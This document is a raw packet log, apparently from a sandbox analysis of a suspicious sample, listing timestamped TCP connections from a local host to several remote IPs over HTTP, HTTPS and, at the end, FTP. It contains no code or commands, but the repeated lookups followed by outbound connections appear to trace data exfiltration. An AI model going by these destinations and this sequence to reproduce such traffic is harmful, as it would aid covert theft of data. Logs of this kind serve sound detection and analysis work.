Dec 14, 2024 13:49:36.361257076 CET	49719	80	192.168.2.6	158.101.44.242
Dec 14, 2024 13:49:36.480954885 CET	80	49719	158.101.44.242	192.168.2.6
Dec 14, 2024 13:49:37.567213058 CET	80	49719	158.101.44.242	192.168.2.6
Dec 14, 2024 13:49:37.580169916 CET	49719	80	192.168.2.6	158.101.44.242
Dec 14, 2024 13:49:37.699861050 CET	80	49719	158.101.44.242	192.168.2.6
Dec 14, 2024 13:49:37.955250025 CET	80	49719	158.101.44.242	192.168.2.6
Dec 14, 2024 13:49:38.000946999 CET	49719	80	192.168.2.6	158.101.44.242
Dec 14, 2024 13:49:38.470520020 CET	49720	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:38.470578909 CET	443	49720	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:38.472322941 CET	49720	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:38.479763031 CET	49720	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:38.479782104 CET	443	49720	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:39.696491003 CET	443	49720	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:39.696573019 CET	49720	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:39.718527079 CET	49720	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:39.718548059 CET	443	49720	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:39.718954086 CET	443	49720	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:39.766567945 CET	49720	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:39.897643089 CET	49720	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:39.939343929 CET	443	49720	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:40.226114035 CET	443	49720	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:40.226190090 CET	443	49720	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:40.226309061 CET	49720	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:40.237399101 CET	49720	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:40.240894079 CET	49719	80	192.168.2.6	158.101.44.242
Dec 14, 2024 13:49:40.360829115 CET	80	49719	158.101.44.242	192.168.2.6
Dec 14, 2024 13:49:40.614959002 CET	80	49719	158.101.44.242	192.168.2.6
Dec 14, 2024 13:49:40.617675066 CET	49722	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:40.617711067 CET	443	49722	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:40.617774963 CET	49722	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:40.618078947 CET	49722	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:40.618094921 CET	443	49722	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:40.659004927 CET	49719	80	192.168.2.6	158.101.44.242
Dec 14, 2024 13:49:41.832314968 CET	443	49722	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:41.835032940 CET	49722	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:41.835071087 CET	443	49722	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:42.279898882 CET	443	49722	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:42.280056000 CET	443	49722	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:42.280251026 CET	49722	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:42.280714035 CET	49722	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:42.294492960 CET	49719	80	192.168.2.6	158.101.44.242
Dec 14, 2024 13:49:42.414511919 CET	80	49719	158.101.44.242	192.168.2.6
Dec 14, 2024 13:49:42.414582014 CET	49719	80	192.168.2.6	158.101.44.242
Dec 14, 2024 13:49:42.438414097 CET	49724	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:42.558171988 CET	80	49724	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:42.558279037 CET	49724	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:42.558427095 CET	49724	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:42.678157091 CET	80	49724	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:44.061372995 CET	80	49724	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:44.062668085 CET	49726	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:44.062731028 CET	443	49726	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:44.062812090 CET	49726	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:44.063055992 CET	49726	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:44.063071012 CET	443	49726	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:44.110337019 CET	49724	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:44.206047058 CET	80	49724	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:44.206103086 CET	49724	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:45.277117014 CET	443	49726	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:45.278815985 CET	49726	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:45.278846979 CET	443	49726	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:45.721968889 CET	443	49726	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:45.722151995 CET	443	49726	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:45.722220898 CET	49726	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:45.722580910 CET	49726	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:45.735224009 CET	49728	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:45.855155945 CET	80	49728	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:45.855256081 CET	49728	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:45.855396032 CET	49728	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:45.975239992 CET	80	49728	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:47.121812105 CET	80	49728	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:47.122807980 CET	49730	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:47.122909069 CET	443	49730	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:47.122997046 CET	49730	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:47.123197079 CET	49730	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:47.123218060 CET	443	49730	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:47.172830105 CET	49728	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:47.818170071 CET	49731	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:47.938144922 CET	80	49731	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:47.938242912 CET	49731	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:47.938636065 CET	49731	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:48.058357954 CET	80	49731	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:48.338435888 CET	443	49730	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:48.349328995 CET	49730	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:48.349396944 CET	443	49730	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:48.779988050 CET	443	49730	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:48.780145884 CET	443	49730	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:48.780320883 CET	49730	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:48.780764103 CET	49730	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:48.796210051 CET	49728	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:48.812772989 CET	49733	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:48.916352034 CET	80	49728	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:48.916412115 CET	49728	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:48.932503939 CET	80	49733	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:48.932580948 CET	49733	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:48.932734013 CET	49733	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:49.052385092 CET	80	49733	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:49.209090948 CET	80	49731	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:49.212517023 CET	49731	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:49.332324982 CET	80	49731	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:49.619646072 CET	80	49731	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:49.652528048 CET	49734	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:49.652560949 CET	443	49734	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:49.652636051 CET	49734	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:49.656516075 CET	49734	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:49.656533003 CET	443	49734	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:49.672852039 CET	49731	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:50.199438095 CET	80	49733	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:50.200676918 CET	49735	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:50.200726986 CET	443	49735	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:50.200953960 CET	49735	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:50.201208115 CET	49735	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:50.201222897 CET	443	49735	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:50.250962019 CET	49733	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:50.872735023 CET	443	49734	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:50.872853994 CET	49734	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:50.874514103 CET	49734	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:50.874522924 CET	443	49734	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:50.874914885 CET	443	49734	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:50.922822952 CET	49734	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:50.929488897 CET	49734	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:50.971338034 CET	443	49734	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:51.320065975 CET	443	49734	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:51.320157051 CET	443	49734	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:51.320198059 CET	49734	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:51.323129892 CET	49734	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:51.326878071 CET	49731	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:51.421669960 CET	443	49735	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:51.431302071 CET	49735	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:51.431339025 CET	443	49735	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:51.449059963 CET	80	49731	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:51.734481096 CET	80	49731	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:51.736869097 CET	49736	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:51.736922979 CET	443	49736	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:51.737025976 CET	49736	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:51.737535000 CET	49736	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:51.737552881 CET	443	49736	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:51.782215118 CET	49731	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:51.867881060 CET	443	49735	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:51.868056059 CET	443	49735	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:51.868117094 CET	49735	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:51.868571043 CET	49735	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:51.871908903 CET	49733	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:51.872993946 CET	49737	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:51.992404938 CET	80	49733	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:51.992499113 CET	49733	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:51.993309021 CET	80	49737	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:51.993376970 CET	49737	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:51.993699074 CET	49737	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:52.113372087 CET	80	49737	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:52.954085112 CET	443	49736	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:52.956073999 CET	49736	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:52.956091881 CET	443	49736	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:53.282005072 CET	80	49737	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:53.283919096 CET	49739	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:53.283968925 CET	443	49739	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:53.284039974 CET	49739	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:53.284328938 CET	49739	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:53.284348965 CET	443	49739	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:53.329077959 CET	49737	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:53.407474995 CET	443	49736	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:53.407542944 CET	443	49736	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:53.407757998 CET	49736	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:53.408233881 CET	49736	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:53.412626028 CET	49731	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:53.414522886 CET	49740	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:53.532991886 CET	80	49731	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:53.533094883 CET	49731	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:53.534338951 CET	80	49740	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:53.534426928 CET	49740	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:53.534574986 CET	49740	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:53.654323101 CET	80	49740	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:54.496635914 CET	443	49739	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:54.498661995 CET	49739	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:54.498703003 CET	443	49739	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:54.941438913 CET	443	49739	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:54.941520929 CET	443	49739	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:54.941605091 CET	49739	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:54.942133904 CET	49739	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:54.946521997 CET	49737	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:54.947341919 CET	49741	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:54.991236925 CET	80	49740	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:54.992520094 CET	49742	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:54.992589951 CET	443	49742	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:54.992682934 CET	49742	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:54.992985010 CET	49742	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:54.993001938 CET	443	49742	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:55.032238960 CET	49740	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:55.067153931 CET	80	49737	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:55.067311049 CET	49737	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:55.067909002 CET	80	49741	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:55.068129063 CET	49741	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:55.082681894 CET	49741	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:55.202605963 CET	80	49741	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:56.219755888 CET	443	49742	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:56.222090960 CET	49742	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:56.222111940 CET	443	49742	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:56.351850033 CET	80	49741	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:56.353164911 CET	49743	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:56.353195906 CET	443	49743	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:56.353272915 CET	49743	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:56.353935003 CET	49743	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:56.353950024 CET	443	49743	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:56.407340050 CET	49741	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:56.684366941 CET	443	49742	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:56.684545040 CET	443	49742	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:56.684858084 CET	49742	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:56.685116053 CET	49742	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:56.690201998 CET	49744	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:56.810801029 CET	80	49744	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:56.810906887 CET	49744	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:56.811084032 CET	49744	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:56.930823088 CET	80	49744	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:57.658719063 CET	443	49743	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:57.660455942 CET	49743	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:57.660494089 CET	443	49743	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:58.106734037 CET	443	49743	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:58.106894970 CET	443	49743	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:58.106978893 CET	49743	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:58.107345104 CET	49743	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:58.113181114 CET	49741	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:58.114283085 CET	49746	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:58.234319925 CET	80	49746	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:58.234472036 CET	49746	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:58.234595060 CET	80	49741	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:58.234639883 CET	49746	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:58.234880924 CET	49741	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:58.328589916 CET	80	49744	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:58.330221891 CET	49747	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:58.330272913 CET	443	49747	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:58.330344915 CET	49747	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:58.330605984 CET	49747	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:58.330620050 CET	443	49747	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:58.354551077 CET	80	49746	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:58.380604029 CET	49744	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:59.510355949 CET	80	49746	193.122.6.168	192.168.2.6
Dec 14, 2024 13:49:59.512258053 CET	49748	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:59.512284994 CET	443	49748	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:59.512402058 CET	49748	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:59.512733936 CET	49748	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:59.512753010 CET	443	49748	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:59.551928997 CET	443	49747	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:59.561866045 CET	49747	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:59.561887980 CET	443	49747	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:59.563500881 CET	49746	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:49:59.996597052 CET	443	49747	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:59.996699095 CET	443	49747	172.67.177.134	192.168.2.6
Dec 14, 2024 13:49:59.996844053 CET	49747	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:49:59.997369051 CET	49747	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:00.000827074 CET	49744	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:00.002623081 CET	49749	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:00.121016026 CET	80	49744	193.122.6.168	192.168.2.6
Dec 14, 2024 13:50:00.121151924 CET	49744	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:00.122432947 CET	80	49749	193.122.6.168	192.168.2.6
Dec 14, 2024 13:50:00.122529984 CET	49749	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:00.122747898 CET	49749	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:00.242511034 CET	80	49749	193.122.6.168	192.168.2.6
Dec 14, 2024 13:50:00.728591919 CET	443	49748	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:00.730691910 CET	49748	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:00.730711937 CET	443	49748	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:01.173718929 CET	443	49748	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:01.173871994 CET	443	49748	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:01.173943996 CET	49748	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:01.174439907 CET	49748	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:01.177880049 CET	49746	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:01.179276943 CET	49750	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:01.298345089 CET	80	49746	193.122.6.168	192.168.2.6
Dec 14, 2024 13:50:01.298437119 CET	49746	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:01.299200058 CET	80	49750	193.122.6.168	192.168.2.6
Dec 14, 2024 13:50:01.299284935 CET	49750	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:01.299500942 CET	49750	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:01.419241905 CET	80	49750	193.122.6.168	192.168.2.6
Dec 14, 2024 13:50:05.112823009 CET	80	49749	193.122.6.168	192.168.2.6
Dec 14, 2024 13:50:05.114339113 CET	49752	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:05.114377022 CET	443	49752	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:05.114505053 CET	49752	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:05.114758968 CET	49752	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:05.114775896 CET	443	49752	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:05.157244921 CET	49749	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:06.331837893 CET	443	49752	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:06.333662987 CET	49752	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:06.333695889 CET	443	49752	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:06.778218985 CET	443	49752	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:06.778388977 CET	443	49752	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:06.778580904 CET	49752	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:06.779103041 CET	49752	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:06.782824039 CET	49749	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:06.902940989 CET	80	49749	193.122.6.168	192.168.2.6
Dec 14, 2024 13:50:06.903072119 CET	49749	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:06.922516108 CET	49753	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:07.042239904 CET	80	49753	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:07.045691013 CET	49753	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:07.045927048 CET	49753	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:07.165607929 CET	80	49753	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:09.118654966 CET	80	49750	193.122.6.168	192.168.2.6
Dec 14, 2024 13:50:09.120198011 CET	49754	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:09.120234013 CET	443	49754	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:09.120318890 CET	49754	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:09.120600939 CET	49754	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:09.120616913 CET	443	49754	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:09.172954082 CET	49750	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:10.344818115 CET	443	49754	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:10.346818924 CET	49754	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:10.346844912 CET	443	49754	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:10.797914982 CET	443	49754	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:10.797991991 CET	443	49754	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:10.798054934 CET	49754	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:10.798563004 CET	49754	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:10.815443993 CET	49750	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:10.935651064 CET	80	49750	193.122.6.168	192.168.2.6
Dec 14, 2024 13:50:10.935741901 CET	49750	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:10.954684973 CET	49755	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:10.954734087 CET	443	49755	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:10.954808950 CET	49755	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:10.955440998 CET	49755	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:10.955449104 CET	443	49755	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:12.325939894 CET	443	49755	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:12.326205015 CET	49755	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:12.328388929 CET	49755	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:12.328412056 CET	443	49755	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:12.328821898 CET	443	49755	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:12.330260038 CET	49755	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:12.371335030 CET	443	49755	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:12.827528954 CET	443	49755	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:12.827627897 CET	443	49755	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:12.827698946 CET	49755	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:12.833053112 CET	49755	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:17.287951946 CET	80	49753	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:17.289330959 CET	49757	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:17.289362907 CET	443	49757	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:17.289449930 CET	49757	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:17.289670944 CET	49757	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:17.289684057 CET	443	49757	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:17.329144001 CET	49753	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:18.031740904 CET	49724	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:18.513835907 CET	443	49757	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:18.515727043 CET	49757	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:18.515767097 CET	443	49757	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:18.947168112 CET	49758	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:18.963953018 CET	443	49757	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:18.964118004 CET	443	49757	172.67.177.134	192.168.2.6
